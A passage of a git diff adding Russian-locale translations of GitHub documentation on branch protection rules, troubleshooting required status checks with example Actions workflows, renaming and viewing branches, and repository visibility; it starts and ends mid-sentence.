approve a pull request prior to merging, select **Require approval from someone other than the last pusher**. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-pull-request-reviews-before-merging)." + ![Require review from someone other than the last pusher](/assets/images/help/repository/last-pusher-review-required.png) +{% endif %} +1. Optionally, enable required status checks. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)." + - Select **Require status checks to pass before merging**. + ![Required status checks option](/assets/images/help/repository/required-status-checks.png) + - Optionally, to ensure that pull requests are tested with the latest code on the protected branch, select **Require branches to be up to date before merging**. + ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png) + - Search for status checks, selecting the checks you want to require. + ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png) +1. Optionally, select **Require conversation resolution before merging**. + ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png) +1. Optionally, select **Require signed commits**. + ![Require signed commits option](/assets/images/help/repository/require-signed-commits.png) +1. Optionally, select **Require linear history**. + ![Required linear history option](/assets/images/help/repository/required-linear-history.png) +{%- ifversion fpt or ghec %} +1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %} + ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png) + {% tip %} + + **Tip:** The pull request merge queue feature is currently in limited public beta and subject to change. Organizations owners can request early access to the beta by joining the [waitlist](https://github.com/features/merge-queue/signup). + + {% endtip %} +{%- endif %} +{%- ifversion required-deployments %} +1. Optionally, to choose which environments the changes must be successfully deployed to before merging, select **Require deployments to succeed before merging**, then select the environments. + ![Require successful deployment option](/assets/images/help/repository/require-successful-deployment.png) +{%- endif %} +{% ifversion lock-branch %} +1. Optionally, select **Lock branch** to make branch read-only. +![Screenshot of the checkbox to lock a branch](/assets/images/help/repository/lock-branch.png) + - Optionally, to allow fork syncing, select **Allow fork syncing**. +![Screenshot of the checkbox to allow fork syncing](/assets/images/help/repository/lock-branch-forksync.png) +{%- endif %} +1. Optionally, select {% ifversion bypass-branch-protections %}**Do not allow bypassing the above settings**. +![Do not allow bypassing the above settings checkbox](/assets/images/help/repository/do-not-allow-bypassing-the-above-settings.png){% else %}**Apply the rules above to administrators**. +![Apply the rules above to administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png){% endif %} +1. Optionally,{% ifversion fpt or ghec %} if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %},{% endif %} enable branch restrictions. + - Select **Restrict who can push to matching branches**. + ![Branch restriction checkbox](/assets/images/help/repository/restrict-branch.png){% ifversion restrict-pushes-create-branch %} + - Optionally, to also restrict the creation of matching branches, select **Restrict pushes that create matching branches**. + ![Branch creation restriction checkbox](/assets/images/help/repository/restrict-branch-create.png){% endif %} + - Search for and select the people, teams, or apps who will have permission to push to the protected branch or create a matching branch. + ![Branch restriction search]{% ifversion restrict-pushes-create-branch %}(/assets/images/help/repository/restrict-branch-search-with-create.png){% else %}(/assets/images/help/repository/restrict-branch-search.png){% endif %} +1. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**. + ![Allow force pushes option](/assets/images/help/repository/allow-force-pushes.png) +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + Then, choose who can force push to the branch. + - Select **Everyone** to allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions. + - Select **Specify who can force push** to allow only specific actors to force push to the branch. Then, search for and select those actors. + ![Screenshot of the options to specify who can force push]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/allow-force-pushes-specify-who-with-apps.png){% else %}(/assets/images/help/repository/allow-force-pushes-specify-who.png){% endif %} +{% endif %} + + For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)." +1. Optionally, select **Allow deletions**. + ![Allow branch deletions option](/assets/images/help/repository/allow-branch-deletions.png) +1. Click **Create**. + +## Editing a branch protection rule + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.repository-branches %} +1. To the right of the branch protection rule you want to edit, click **Edit**. + ![Edit button](/assets/images/help/repository/edit-branch-protection-rule.png) +1. Make your desired changes to the branch protection rule. +1. Click **Save changes**. + ![Save changes button](/assets/images/help/repository/save-branch-protection-rule.png) + +## Deleting a branch protection rule + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.repository-branches %} +1. To the right of the branch protection rule you want to delete, click **Delete**. + ![Delete button](/assets/images/help/repository/delete-branch-protection-rule.png) diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md new file mode 100644 index 000000000000..5a6d3d43e353 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md @@ -0,0 +1,122 @@ +--- +title: Troubleshooting required status checks +intro: You can check for common errors and resolve issues with required status checks. +product: '{% data reusables.gated-features.protected-branches %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +redirect_from: + - /github/administering-a-repository/troubleshooting-required-status-checks + - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks +shortTitle: Required status checks +--- +If you have a check and a status with the same name, and you select that name as a required status check, both the check and the status are required. For more information, see "[Checks](/rest/reference/checks)." + +After you enable required status checks, your branch may need to be up-to-date with the base branch before merging. This ensures that your branch has been tested with the latest code from the base branch. If your branch is out of date, you'll need to merge the base branch into your branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)." + +{% note %} + +**Note:** You can also bring your branch up to date with the base branch using Git rebase. For more information, see "[About Git rebase](/github/getting-started-with-github/about-git-rebase)." + +{% endnote %} + +You won't be able to push local changes to a protected branch until all required status checks pass. Instead, you'll receive an error message similar to the following. + +```shell +remote: error: GH006: Protected branch update failed for refs/heads/main. +remote: error: Required status check "ci-build" is failing +``` +{% note %} + +**Note:** Pull requests that are up-to-date and pass required status checks can be merged locally and pushed to the protected branch. This can be done without status checks running on the merge commit itself. + +{% endnote %} + +## Conflicts between head commit and test merge commit + +Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. For more information about test merge commits, see "[Pulls](/rest/reference/pulls#get-a-pull-request)." + +![Branch with conflicting merge commits](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png) + +## Handling skipped but required checks + +{% note %} + +**Note:** If a workflow is skipped due to [path filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), [branch filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) or a [commit message](/actions/managing-workflow-runs/skipping-workflow-runs), then checks associated with that workflow will remain in a "Pending" state. A pull request that requires those checks to be successful will be blocked from merging. + +If a job in a workflow is skipped due to a conditional, it will report its status as "Success". For more information see [Skipping workflow runs](/actions/managing-workflow-runs/skipping-workflow-runs) and [Using conditions to control job execution](/actions/using-jobs/using-conditions-to-control-job-execution). + +{% endnote %} + +### Example + +The following example shows a workflow that requires a "Successful" completion status for the `build` job, but the workflow will be skipped if the pull request does not change any files in the `scripts` directory. + +```yaml +name: ci +on: + pull_request: + paths: + - 'scripts/**' +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + node-version: [12.x, 14.x, 16.x] + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %} + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.node-version }}{% endraw %} + cache: 'npm' + - run: npm ci + - run: npm run build --if-present + - run: npm test +``` + +Due to [path filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), a pull request that only changes a file in the root of the repository will not trigger this workflow and is blocked from merging. You would see the following status on the pull request: + +![Required check skipped but shown as pending](/assets/images/help/repository/PR-required-check-skipped.png) + +You can fix this by creating a generic workflow, with the same name, that will return true in any case similar to the workflow below : + +```yaml +name: ci +on: + pull_request: + paths-ignore: + - 'scripts/**' + - 'middleware/**' +jobs: + build: + runs-on: ubuntu-latest + steps: + - run: 'echo "No build required"' +``` +Now the checks will always pass whenever someone sends a pull request that doesn't change the files listed under `paths` in the first workflow. + +![Check skipped but passes due to generic workflow](/assets/images/help/repository/PR-required-check-passed-using-generic.png) + +{% note %} + +**Notes:** +* Make sure that the `name` key and required job name in both the workflow files are the same. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)". +* The example above uses {% data variables.product.prodname_actions %} but this workaround is also applicable to other CI/CD providers that integrate with {% data variables.product.company_short %}. + +{% endnote %} + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +## Required status checks from unexpected sources + +It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app. + +``` +Required status check "build" was not set by the expected {% data variables.product.prodname_github_app %}. +``` +{% endif %} diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/index.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/index.md new file mode 100644 index 000000000000..cd51943d7202 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/index.md @@ -0,0 +1,23 @@ +--- +title: Настройка ветвей и слияний в репозитории +intro: 'Вы можете управлять ветвями в репозитории, настраивать способ объединения ветвей в репозитории и защищать важные ветви, определяя возможность объединения запросов на вытягивание.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /managing-branches-in-your-repository + - /configuring-pull-request-merges + - /defining-the-mergeability-of-pull-requests +shortTitle: Branches and merges +ms.openlocfilehash: b9eba1157a3d3b4e77195dbb26541ec20aea52bc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136973' +--- + diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md new file mode 100644 index 000000000000..94b719eacb33 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md @@ -0,0 +1,52 @@ +--- +title: Changing the default branch +intro: 'If you have more than one branch in your repository, you can configure any branch as the default branch.' +permissions: People with admin access for a repository can change the default branch for the repository. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +redirect_from: + - /github/administering-a-repository/setting-the-default-branch + - /articles/setting-the-default-branch + - /github/administering-a-repository/changing-the-default-branch + - /github/administering-a-repository/managing-branches-in-your-repository/changing-the-default-branch +topics: + - Repositories +shortTitle: Change the default branch +--- +## About changing the default branch + +You can choose the default branch for a repository. The default branch is the base branch for pull requests and code commits. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)." + +{% ifversion not ghae %} +{% note %} + +**Note**: If you use the Git-Subversion bridge, changing the default branch will affect your `trunk` branch contents and the `HEAD` you see when you list references for the remote repository. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)" and [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html) in the Git documentation. + +{% endnote %} +{% endif %} + +You can also rename the default branch. For more information, see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)." + +{% data reusables.branches.set-default-branch %} + +## Prerequisites + +To change the default branch, your repository must have more than one branch. For more information, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)." + +## Changing the default branch + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.repository-branches %} +1. Under "Default branch", to the right of the default branch name, click {% octicon "arrow-switch" aria-label="The switch icon with two arrows" %}. + ![Switch icon with two arrows to the right of current default branch name](/assets/images/help/repository/repository-options-defaultbranch-change.png) +1. Use the drop-down, then click a branch name. + ![Drop-down to choose new default branch](/assets/images/help/repository/repository-options-defaultbranch-drop-down.png) +1. Click **Update**. + !["Update" button after choosing a new default branch](/assets/images/help/repository/repository-options-defaultbranch-update.png) +1. Read the warning, then click **I understand, update the default branch.** + !["I understand, update the default branch." button to perform the update](/assets/images/help/repository/repository-options-defaultbranch-i-understand.png) + diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md new file mode 100644 index 000000000000..3292378604e2 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md @@ -0,0 +1,49 @@ +--- +title: Удаление и восстановление ветвей в запросе на вытягивание +intro: 'Если у вас есть доступ на запись к репозиторию, можно удалить ветви, связанные с закрытыми или объединенными запросами на вытягивание. Невозможно удалить ветви, которые связаны с открытыми запросами на вытягивание.' +redirect_from: + - /articles/tidying-up-pull-requests + - /articles/restoring-branches-in-a-pull-request + - /articles/deleting-unused-branches + - /articles/deleting-and-restoring-branches-in-a-pull-request + - /github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request + - /github/administering-a-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Delete & restore branches +ms.openlocfilehash: 48007869ae43d39553e0f8948f90e89b7fb73af0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136946' +--- +## Удаление ветви, используемой для запроса на вытягивание + +Вы можете удалить ветвь, связанную с запросом на вытягивание, если этот запрос был объединен или закрыт и нет других открытых запросов на вытягивание, ссылающихся на ветвь. Сведения о закрытии ветвей, не связанных с запросами на вытягивание, см. в статье [Создание и удаление ветвей в репозитории](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.list-closed-pull-requests %} +4. В списке запросов на вытягивание нажмите запрос, связанный с ветвью, которую требуется удалить. +5. В нижней части запроса на вытягивание нажмите **Удалить ветвь**. + ![Кнопка для удаления ветви](/assets/images/help/pull_requests/delete_branch_button.png) + + Эта кнопка не отображается, если в настоящее время для этой ветви существует открытый запрос на вытягивание. + +## Восстановление удаленной ветви + +Вы можете восстановить главную ветвь закрытого запроса на вытягивание. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.list-closed-pull-requests %} +4. В списке запросов на вытягивание нажмите запрос, связанный с ветвью, которую требуется восстановить. +5. В нижней части запроса на вытягивание нажмите **Восстановить ветвь**. + ![Кнопка для восстановления удаленной ветви](/assets/images/help/branches/branches-restore-deleted.png) + +## Дополнительные материалы + +- [Создание и удаление ветвей в репозитории](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository) +- [Управление автоматическим удалением ветвей](/github/administering-a-repository/managing-the-automatic-deletion-of-branches) diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/index.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/index.md new file mode 100644 index 000000000000..c7238575938f --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/index.md @@ -0,0 +1,27 @@ +--- +title: Управление ветвями в репозитории +intro: 'Каждый раз, когда вы предлагаете изменение в Git, вы [создаете новую ветвь](/articles/creating-and-deleting-branches-within-your-repository/). Управление ветвями является важной частью рабочего процесса Git. Через некоторое время список ветвей может увеличиться, поэтому рекомендуется удалить объединенные или устаревшие ветви.' +redirect_from: + - /articles/managing-branches-in-your-repository + - /github/administering-a-repository/managing-branches-in-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /viewing-branches-in-your-repository + - /renaming-a-branch + - /changing-the-default-branch + - /deleting-and-restoring-branches-in-a-pull-request +shortTitle: Manage branches +ms.openlocfilehash: ba89b34a3372621f2d0fc077030e5321a1443118 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136937' +--- + diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md new file mode 100644 index 000000000000..16551aab623e --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md @@ -0,0 +1,53 @@ +--- +title: Renaming a branch +intro: You can change the name of a branch in a repository. +permissions: 'People with write permissions to a repository can rename a branch in the repository unless it is the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch){% ifversion fpt or ghec or ghes > 3.3 %} or a [protected branch](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% endif %}. People with admin permissions can rename the default branch{% ifversion fpt or ghec or ghes > 3.3 %} and protected branches{% endif %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +redirect_from: + - /github/administering-a-repository/renaming-a-branch + - /github/administering-a-repository/managing-branches-in-your-repository/renaming-a-branch +--- +## About renaming branches + +You can rename a branch in a repository on {% data variables.location.product_location %}. For more information about branches, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches))." + +When you rename a branch on {% data variables.location.product_location %}, any URLs that contain the old branch name are automatically redirected to the equivalent URL for the renamed branch. Branch protection policies are also updated, as well as the base branch for open pull requests (including those for forks) and draft releases. After the rename is complete, {% data variables.product.prodname_dotcom %} provides instructions on the repository's home page directing contributors to update their local Git environments. + +Although file URLs are automatically redirected, raw file URLs are not redirected. Also, {% data variables.product.prodname_dotcom %} does not perform any redirects if users perform a `git pull` for the previous branch name. + +{% data variables.product.prodname_actions %} workflows do not follow renames, so if your repository publishes an action, anyone using that action with `@{old-branch-name}` will break. You should consider adding a new branch with the original content plus an additional commit reporting that the branch name is deprecated and suggesting that users migrate to the new branch name. + +## Renaming a branch + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.navigate-to-branches %} +1. In the list of branches, to the right of the branch you want to rename, click {% octicon "pencil" aria-label="The edit icon" %}. + ![Pencil icon to the right of branch you want to rename](/assets/images/help/branch/branch-rename-edit.png) +1. Type a new name for the branch. + ![Text field for typing new branch name](/assets/images/help/branch/branch-rename-type.png) +1. Review the information about local environments, then click **Rename branch**. + ![Local environment information and "Rename branch" button](/assets/images/help/branch/branch-rename-rename.png) + +## Updating a local clone after a branch name changes + +After you rename a branch in a repository on {% data variables.product.product_name %}, any collaborator with a local clone of the repository will need to update the clone. + +From the local clone of the repository on a computer, run the following commands to update the name of the default branch. + +```shell +$ git branch -m OLD-BRANCH-NAME NEW-BRANCH-NAME +$ git fetch origin +$ git branch -u origin/NEW-BRANCH-NAME NEW-BRANCH-NAME +$ git remote set-head origin -a +``` + +Optionally, run the following command to remove tracking references to the old branch name. +``` +$ git remote prune origin +``` diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository.md new file mode 100644 index 000000000000..401901b50206 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository.md @@ -0,0 +1,37 @@ +--- +title: Просмотр ветвей в репозитории +intro: 'Ветви являются центральным элементом совместной работы в {% data variables.product.product_name %}, и их лучше всего просматривать на странице ветвей.' +redirect_from: + - /articles/viewing-branches-in-your-repository + - /github/administering-a-repository/viewing-branches-in-your-repository + - /github/administering-a-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: View branches +ms.openlocfilehash: 286c8eb8c717f5a002db0059e65c416ccc3981e8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145136931' +--- +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.navigate-to-branches %} +3. Используйте навигацию в верхней части страницы для просмотра определенных списков ветвей: + - **Ваши ветви**. В репозиториях, в которых у вас есть доступ на отправку, в представлении **Ваши** отображаются все ветви, в которые вы отправляли код, за исключением ветви по умолчанию. Ветви упорядочены по самым новым. + - **Активные ветви**. В представлении **Активные** отображаются все ветви, в которые кто-нибудь отправлял фиксации в течение последних трех месяцев. Ветви упорядочены по последним фиксациям. + - **Устаревшие ветви**. В представлении **Устаревшие** отображаются все ветви, в которые никто не отправлял фиксации за последние три месяца. Ветви упорядочены по самым старым фиксациям. Используйте этот список, чтобы определить, [какие ветви следует удалить](/articles/creating-and-deleting-branches-within-your-repository). + - **Все ветви**. В представлении **Все** отображается ветвь по умолчанию, а затем все остальные ветви, упорядоченные по ветвям с самыми новыми фиксациями. + +4. При необходимости используйте поле поиска в правом верхнем углу. В нем доступен простой поиск по имени ветви без учета регистра. Он не поддерживает дополнительный синтаксис запросов. + +![Страница "Ветви" для репозитория Atom](/assets/images/help/branches/branches-overview-atom.png) + +## Дополнительные материалы + +- [Создание и удаление ветвей в репозитории](/articles/creating-and-deleting-branches-within-your-repository) +- [Удаление неиспользуемых ветвей](/articles/deleting-unused-branches) diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/about-repositories.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/about-repositories.md new file mode 100644 index 000000000000..3e1491e221a6 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/about-repositories.md @@ -0,0 +1,143 @@ +--- +title: Сведения о репозиториях +intro: Репозиторий содержит все файлы проекта и журнал редакций для каждого файла. Вы можете обсудить работу над проектом и управлять ею в репозитории. +redirect_from: + - /articles/about-repositories + - /github/creating-cloning-and-archiving-repositories/about-repositories + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories + - /github/creating-cloning-and-archiving-repositories/about-repository-visibility + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repository-visibility + - /articles/what-are-the-limits-for-viewing-content-and-diffs-in-my-repository + - /articles/limits-for-viewing-content-and-diffs-in-a-repository + - /github/creating-cloning-and-archiving-repositories/limits-for-viewing-content-and-diffs-in-a-repository + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/limits-for-viewing-content-and-diffs-in-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: 95e4033aa41f7920b5447554773dc61a181f5861 +ms.sourcegitcommit: 0a6e3eee6eea9b1e445aea1e4461d64cf6b63218 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163508' +--- +## Сведения о репозиториях + +Вы можете быть единоличным владельцем репозиториев по отдельности или владеть ими совместно с другими сотрудниками организации. + +Вы можете ограничить доступ к репозиторию, выбрав его видимость. Дополнительные сведения см. в разделе [Сведения о видимости репозитория](#about-repository-visibility). + +Если репозиторий принадлежит вам, вы можете предоставить другим пользователям доступ с правами участника совместной работы, чтобы они могли совместно работать над проектом. Если репозиторий принадлежит организации, вы можете предоставить членам организации разрешения на доступ к репозиторию. Дополнительные сведения см. в разделах [Уровни разрешений для репозитория личной учетной записи](/articles/permission-levels-for-a-user-account-repository/) и [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +{% ifversion fpt or ghec %} При использовании {% data variables.product.prodname_free_team %} для личных учетных записей и организаций вы можете работать с неограниченным числом участников совместной работы в неограниченном количестве общедоступных репозиториев с полным набором функций, а также в неограниченном количестве частных репозиториев с ограниченным набором функций. Чтобы получить расширенные средства для частных репозиториев, можно выполнить обновление до {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %} или {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} {% else %} Каждый пользователь и каждая организация могут владеть неограниченным количеством репозиториев и приглашать в них неограниченное количество участников совместной работы. +{% endif %} + +Репозитории можно использовать для совместной работы с другими пользователями и управления ею. +- С помощью проблем можно собирать отзывы пользователей, сообщать об ошибках в программном обеспечении и упорядочивать задачи. Дополнительные сведения см. в разделе [Сведения о проблемах](/github/managing-your-work-on-github/about-issues).{% ifversion fpt or ghec %} +- {% data reusables.discussions.you-can-use-discussions %}{% endif %} +- С помощью запросов на вытягивание можно предлагать изменения в репозитории. Дополнительные сведения см. в разделе [Сведения о запросах на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-requests). +- С помощью досок проектов можно упорядочивать проблемы и запросы на вытягивание, а также ранжировать их по приоритету. Дополнительные сведения см. в разделе [О панелях проектов](/github/managing-your-work-on-github/about-project-boards). + +{% data reusables.repositories.repo-size-limit %} + +Сведения о том, как использовать репозитории наиболее эффективно, см. в разделе [Рекомендации по использованию репозиториев](/repositories/creating-and-managing-repositories/best-practices-for-repositories). + +## Видимость репозитория + +Вы можете настроить доступ к репозиторию, выбрав его видимость: {% ifversion ghes or ghec %}общедоступный, внутренний или частный{% elsif ghae %}частный или внутренний{% else %} общедоступный или частный{% endif %}. + +{% ifversion fpt or ghec or ghes %} + +При создании репозитория можно сделать его общедоступным или частным.{% ifversion ghec or ghes %} Если вы создаете репозиторий в организации{% ifversion ghec %}, принадлежащей корпоративной учетной записи{% endif %}, вы также можете сделать репозиторий внутренним.{% endif %}{% endif %}{% ifversion fpt %} Репозитории в организациях, использующих {% data variables.product.prodname_ghe_cloud %}, которые принадлежат корпоративной учетной записи, также могут создаваться как внутренние. Дополнительные сведения см. в [документации по {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories). + +{% elsif ghae %} + +При создании репозитория, принадлежащего личной учетной записи, он всегда будет частным. При создании репозитория, принадлежащего организации, вы можете сделать его частным или внутренним. + +{% endif %} + +{%- ifversion fpt or ghec %} +- Общедоступные репозитории доступны всем в Интернете. +- Частные репозитории доступны только вам, пользователям, которым вы явно предоставили доступ, и, в случае с репозиториями организации, определенным ее сотрудникам. +{%- elsif ghes %} +- Если {% data variables.location.product_location %} не находится в частном режиме или за брандмауэром, общедоступные репозитории будут доступны всем пользователям в Интернете. В противном случае общедоступные репозитории будут доступны всем пользователям, использующим {% data variables.location.product_location %}, включая внешних участников совместной работы. +- Частные репозитории доступны только вам, пользователям, которым вы явно предоставили доступ, и, в случае с репозиториями организации, определенным ее сотрудникам. +{%- elsif ghae %} +- Частные репозитории доступны только вам, пользователям, которым вы явно предоставили доступ, и, в случае с репозиториями организации, определенным ее сотрудникам. +{%- endif %} {%- ifversion ghec or ghes or ghae %} +- Внутренние репозитории доступны всем сотрудникам предприятия. Дополнительные сведения см. в разделе [Сведения о внутренних репозиториях](#about-internal-repositories). +{%- endif %} + +Владельцы организации всегда имеют доступ к каждому созданному в ней репозиторию. Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +Пользователи с разрешениями администратора репозитория могут изменить его видимость. Дополнительные сведения см. в разделе [Настройка видимости репозитория](/github/administering-a-repository/setting-repository-visibility). + +{% ifversion ghes or ghec or ghae %} +## Сведения о внутренних репозиториях + +{% data reusables.repositories.about-internal-repos %} Дополнительные сведения об InnerSource см. в техническом документе {% data variables.product.prodname_dotcom %} [Введение в InnerSource](https://resources.github.com/whitepapers/introduction-to-innersource/). + +{% ifversion ghec %} {% note %} + +**Примечание:** Создавать внутренние репозитории можно только при использовании {% data variables.product.prodname_ghe_cloud %} с корпоративной учетной записью. Корпоративная учетная запись — это отдельный тип учетной записи, который обеспечивает центральную точку управления для нескольких организаций. Дополнительные сведения см. в разделе [Типы учетной записи {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts). + +{% endnote %} {% endif %} + +Все сотрудники предприятия имеют разрешения на чтение внутреннего репозитория, но внутренние репозитории недоступны пользователям {% ifversion fpt or ghec 